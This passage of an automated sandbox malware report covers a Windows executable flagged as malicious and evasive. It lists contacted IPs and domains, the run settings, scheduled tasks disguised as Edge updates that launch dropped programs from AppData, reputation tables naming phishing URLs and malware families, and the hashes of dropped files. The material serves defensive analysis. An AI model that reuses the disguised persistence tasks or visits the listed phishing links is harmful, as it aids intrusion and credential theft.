00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755741956.000001F6E23B6000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755934980.000001F6E23DF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758961819.000001F6E4404000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709198904.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.coo	powershell.exe, 00000004.00000002.1975794345.0000025144A9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.1846925587.0000026FAFEA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openssl.org/H	T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1846925587.0000026FAFC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C511000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	SystemUpdate.exe, 00000013.00000003.1855864818.000001D545E9C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.228.74.200	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
35.244.154.8	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
52.43.7.224	aragorn-prod-or-acai-lb.inbake.com	United States	16509	AMAZON-02US	false
54.154.234.207	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
8.212.101.195	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
172.217.17.34	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
172.64.150.63	s.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
63.140.62.17	msftenterprise.sc.omtrdc.net	United States	15224	OMNITUREUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.alphacdn.net	United States	15133	EDGECASTUS	false
52.223.40.198	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
37.252.172.123	ib.anycast.adnxs.com	European Union	29990	ASN-APPNEXUS	false
34.198.65.183	rtb.adentifi.com	United States	14618	AMAZON-AESUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
192.132.33.68	bttrack.com	United States	18568	BIDTELLECTUS	false
76.223.111.18	eu-eb2.3lift.com	United States	16509	AMAZON-02US	false
54.155.166.119	unknown	United States	16509	AMAZON-02US	false
104.244.42.67	s.twitter.com	United States	13414	TWITTERUS	false
34.241.209.94	unknown	United States	16509	AMAZON-02US	false
188.125.88.204	dcs-ups.g03.yahoodns.net	United Kingdom	10310	YAHOO-1US	false
104.244.42.195	unknown	United States	13414	TWITTERUS	false

Private

IP
192.168.2.4
127.0.0.1
192.168.2.23
192.168.2.15
192.168.2.14

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581935
Start date and time:	2024-12-29 13:51:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	129
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T1#U52a9#U624b1.0.1.exe renamed because original name is a hash value
Original Sample Name:	T11.0.1.exe
Detection:	MAL
Classification:	mal46.evad.winEXE@262/400@106/27
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 59 Number of non-executed functions: 71
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 51.11.168.232, 23.218.210.69, 199.232.214.172, 23.212.89.111, 192.229.221.95, 184.28.89.167, 172.217.19.227, 172.217.19.238, 173.194.220.84, 142.250.181.142, 184.28.90.27, 88.221.169.152, 2.19.198.65, 23.32.238.153, 104.122.214.103, 20.42.73.26, 104.102.52.100, 2.18.64.20, 2.18.64.21, 104.122.214.164, 118.214.130.157, 40.126.53.9, 20.190.181.0, 20.190.181.5, 40.126.53.15, 40.126.53.14, 40.126.53.7, 20.190.181.6, 20.190.181.4, 172.217.21.42, 172.217.19.10, 172.217.19.170, 172.217.19.234, 172.217.19.202, 216.58.208.234, 142.250.181.138, 172.217.17.42, 172.217.17.74, 142.250.181.74, 142.250.181.106, 23.32.238.99, 23.32.238.98, 20.190.147.2, 20.190.177.82, 20.190.147.7, 20.190.147.3, 20.190.147.6, 20.190.147.5, 20.190.147.1, 20.190.177.147, 104.122.213.91, 20.223.35.26, 172.217.17.35, 172.217.17.46, 34.104.35.123, 152.199.19.161, 51.104.15.252, 2.16.189.232, 52.167.30.171, 184.28.89.233, 54.75.138.108, 52.212.218.22, 34.255.155.228, 40.126.53.10, 20.190.181.3, 20.190.181.
Excluded domains from analysis (whitelisted): greenid-prod-pme.eastus2.cloudapp.azure.com, lgincdnmsftuswe2.azureedge.net, pme-greenid-prod.trafficmanager.net, cn-assets.adobedtm.com.edgekey.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, ak.privatelink.msidentity.com, offertoolproduction.azureedge.net, dlc-shim.trafficmanager.net, e12671.dscd.akamaiedge.net, clients2.google.com, download.microsoft.com.edgekey.net, star-azurefd-prod.trafficmanager.net, aws-oreg-cali-virg.ag.innovid.com.akadns.net, acctcdnvzeuno.azureedge.net, acctcdnvzeuno.ec.azureedge.net, acctcdnmsftuswe2.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, cm.everesttech.net.akadns.net, lgincdnvzeuno.ec.azureedge.net, onedscolprdeus12.eastus.cloudapp.azure.com, c-s.cms.ms.akadns.net, edgedl.me.gvt1.com, c.bing.com, fpt6.microsoft.com, c.s-microsoft.com-c.edgekey.net, clients.l.google.com, iris-de-prod-azsc-v2-neu.northeurope.cloudapp.azure.com, wildcard.owneriq.net.edgekey.net, cs9.wpc.v0cdn.net, h2.shared.global.
Execution Graph export aborted for target powershell.exe, PID 3004 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3568 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: T1#U52a9#U624b1.0.1.exe

Simulations

Behavior and APIs

Time	Type	Description
12:52:56	Task Scheduler	Run new task: MicrosoftEdgeUpdatesOnce path: C:\Users\user\AppData\Roaming\../LineInst.exe
12:52:56	Task Scheduler	Run new task: MicrosoftEdgeUpdatesOnceMe path: C:\Users\user\AppData\Roaming\../WinHex.exe

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://support.microsoft.com/en-us/windows/upgrade-to-windows-10-faq-cce52341-7943-594e-72ce-e1cf00382445 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://support.microsoft.com/en-US/windows/cce52341-7943-594e-72ce-e1cf00382445 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://support.microsoft.com/en-US/windows/cce52341-7943-594e-72ce-e1cf00382445 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.228.74.200	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse
	http://samobile.net/content/offsite_article.html?url=https%3A%2F%2Fsepedatua.com%2F158983%2Fsecure-redirect%23cnichols%2Bderickdermatology.com&headline=New+Jerusalem%2C+The+by+Chesterton%2C+G.+K	Get hash	malicious	Captcha Phish	Browse
63.140.62.222	http://vimuscle.vi/css/TB.html	Get hash	malicious	Unknown	Browse	info.telstra.com.au/b/ss/telstratdtmglobalprd/1/JS-2.10.0/s81407038587847?AQB=1&ndh=1&pf=1&t=24%2F8%2F2024%2021%3A37%3A27%202%20240&sdid=080702B973E60E46-3262A79A37C4013C&mid=80393247477718675596040170536517987875&aamlh=6&ce=UTF-8&ns=telstracorporation&cdp=3&fpCookieDomainPeriods=2&pageName=TD%3ATR%3ATR%3Acss%3Asign%20in%20with%20your%20telstra%20id&g=http%3A%2F%2Fvimuscle.vi%2Fcss%2FTB.html&cc=AUD&ch=css&server=vimuscle.vi&events=event27&aamb=j8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI&c1=TD&v1=TD&h1=TD%7CTR%7CTR%7Ccss%7Csign%20in%20with%20your%20telstra%20id&c2=TR&v2=TR&c3=TR&v3=TR&c4=D%3Dv5&v4=D%3Dch&c5=D%3Dv72&v5=tb.html&c6=D%3Dproducts&v6=css%3Atb.html&c7=%2Fcss%2FTB&c8=D%3Dg&v8=D%3Dg&c9=%2F%2Fwww.telstra.com.au%2Fcontent%2Fdam%2Fanalytics%2Fadobetags.min.js%3Fsource%3DCQ5%20%7C%20launch%20%7C%20prd%20%7C%20tz%3D-4&c11=no%20jQuery&c16=Wed%2C%2025%20Sep%202024%2001%3A37%3A27%20GMT&v18=di&c19=First%20Visit&c35=D%3DUser-Agent&v35=D%3DUser-Agent&c41=9%3A30PM&c42=Tuesday&c43=Weekday&c44=D%3Dv44%2B%22%3A%22%2BpageName&v4
52.43.7.224	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse
52.43.7.224	https://wetransfer.com/downloads/a83584fea59b11ef1e94d36869e8790020241209234540/89744b9472f9ce1b5e3b4ada79f2184c20241209234540/7041ff?t_exp=1734047140&t_lsid=42d44d78-6d8f-48db-8db5-5efa0c86786d&t_network=email&t_rid=ZW1haWx8Njc0ZjQ5YTNiNjM1NTFjNmY2NTg0N2Zj&t_s=download_link&t_ts=1733787940&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse
54.154.234.207	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
global.px.quantserve.com	http://bluepeak-group.com/fc	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	91.228.74.200
	https://afg.acemlnb.com/lt.php?x=3TZy~GE3UnGZEpJA-w9HgOSc2K2ji_L0wu1gjqXGIXSh587-zEy.zuJr1Y2iitE~judAXHPHJeTMHaWtOdxFVOFx23MoiND	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse	91.228.74.244
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	91.228.74.166
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse	91.228.74.244
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	91.228.74.200
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	91.228.74.200
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	91.228.74.166
s.tribalfusion.com	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse	104.18.37.193
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse	104.18.37.193
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	104.18.37.193
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	104.18.37.193
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	172.64.150.63
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	104.18.37.193
	tmpE43E.htm	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse	172.64.150.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	main_mpsl.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	108.138.128.56
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	54.253.4.52
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	13.226.4.166
	https://kn0wbe4.compromisedblog.com/XZHJISTcycW1tZkROWG92Y2ZEc21laS80dzNTR2N0eEsvTDFRWGFNODdGaGtjNGo5VzRyMFRUQmFLM0grcGxUbnBSTVFhMEg2Smd3UkovaXVjaUpIcG1hZG5CQnh5aFlZTXNqNldTdm84cE5CMUtld0dCZzN4ZUFRK2lvL1FWTG92NUJsMnJ3OHFGckdTNFhnMkFUTFZFZTdKRnVJaTRuRGFKdXVyeUdCVytuQzdnMEV1ZExSMnlwWi9RPT0tLTdnZjhxQVZPbUdTdFZXVUEtLXA0bHNCNGxmeTdrdmlkWWRVcmRXRWc9PQ==?cid=2310423310	Get hash	malicious	KnowBe4	Browse	3.160.188.119
	oiA5KmV0f0.exe	Get hash	malicious	Njrat	Browse	18.197.239.5
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	35.75.100.61
	arm6.elf	Get hash	malicious	Gafgyt	Browse	54.171.230.55
QUANTCASTUS	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	91.228.74.200
	https://afg.acemlnb.com/lt.php?x=3TZy~GE3UnGZEpJA-w9HgOSc2K2ji_L0wu1gjqXGIXSh587-zEy.zuJr1Y2iitE~judAXHPHJeTMHaWtOdxFVOFx23MoiND	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse	91.228.74.244
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	91.228.74.166
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse	91.228.74.244
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	91.228.74.200
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	91.228.74.200
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	91.228.74.166
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	91.228.74.159
AMAZON-02US	main_mpsl.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	108.138.128.56
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	54.253.4.52
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	13.226.4.166
	https://kn0wbe4.compromisedblog.com/XZHJISTcycW1tZkROWG92Y2ZEc21laS80dzNTR2N0eEsvTDFRWGFNODdGaGtjNGo5VzRyMFRUQmFLM0grcGxUbnBSTVFhMEg2Smd3UkovaXVjaUpIcG1hZG5CQnh5aFlZTXNqNldTdm84cE5CMUtld0dCZzN4ZUFRK2lvL1FWTG92NUJsMnJ3OHFGckdTNFhnMkFUTFZFZTdKRnVJaTRuRGFKdXVyeUdCVytuQzdnMEV1ZExSMnlwWi9RPT0tLTdnZjhxQVZPbUdTdFZXVUEtLXA0bHNCNGxmeTdrdmlkWWRVcmRXRWc9PQ==?cid=2310423310	Get hash	malicious	KnowBe4	Browse	3.160.188.119
	oiA5KmV0f0.exe	Get hash	malicious	Njrat	Browse	18.197.239.5
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	35.75.100.61
	arm6.elf	Get hash	malicious	Gafgyt	Browse	54.171.230.55

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\$Windows.~WS\Sources\DU.dll	7bYDInO.rtf	Get hash	malicious	Unknown	Browse
C:\$Windows.~WS\Sources\DiagTrack.dll	MediaCreationTool.bat	Get hash	malicious	Unknown	Browse
C:\$Windows.~WS\Sources\DiagTrack.dll	7bYDInO.rtf	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\$WINDOWS.~BT\Sources\Panther\diagerr.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	4.874587641202385
Encrypted:	false
SSDEEP:	24:5I5aVbJDP+tUI0X3AN0/1Cvf/g3vvQ/1Cv8Gh/1Cvze/g3vO/1CvVL/1CvR/g3v9:5MwiGI0P4GsfT/7eLy
MD5:	D1E75542EC8D1B4851765A57AC63618E
SHA1:	A231451F545D3133E5D6A0487A59C5DBD01EE50E
SHA-256:	6C06BF950D0FE3476E020CD363EC0C8C9D4EE0FC89A24C50780C44E6453995C6
SHA-512:	89D3C182833B97B0899ECD45DE1439F8341BF2EA11578E2085375A4DB3CC18FAD221998DC4B6F4407381D2134CB43D78025349DED1E50B6A4EEA5919B18B168C
Malicious:	false
Preview:	.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

C:\$WINDOWS.~BT\Sources\Panther\diagwrn.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (375)
Category:	dropped
Size (bytes):	5365
Entropy (8bit):	5.377650785748251
Encrypted:	false
SSDEEP:	96:5MwiGdgbnE0jiec+0jiecQ0jiecm0jiecMNaT0ySSoStSDaMVnl5ly:53gbEL+LQLmLMNKkPSkDaMxlW
MD5:	D9267E4A7E25ED2FA3FE347B3BDA3EFA
SHA1:	6A46EAAA839B3988982FC2D79C3C3CDB974AA56B
SHA-256:	0C1E02B7362FB704BBF3FAF3FA568BE67F469863C1D9C4E0941461D4F9637A1A
SHA-512:	E5C4AA774E324BB1E2436B7D1349C56F9380BA362442E1153FFB95084B2D4B336E8D6F9822EECAA94D0D0D6AC6947955AA4B1B46538469E055A02449CFEEBA40
Malicious:	false
Preview:	.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType 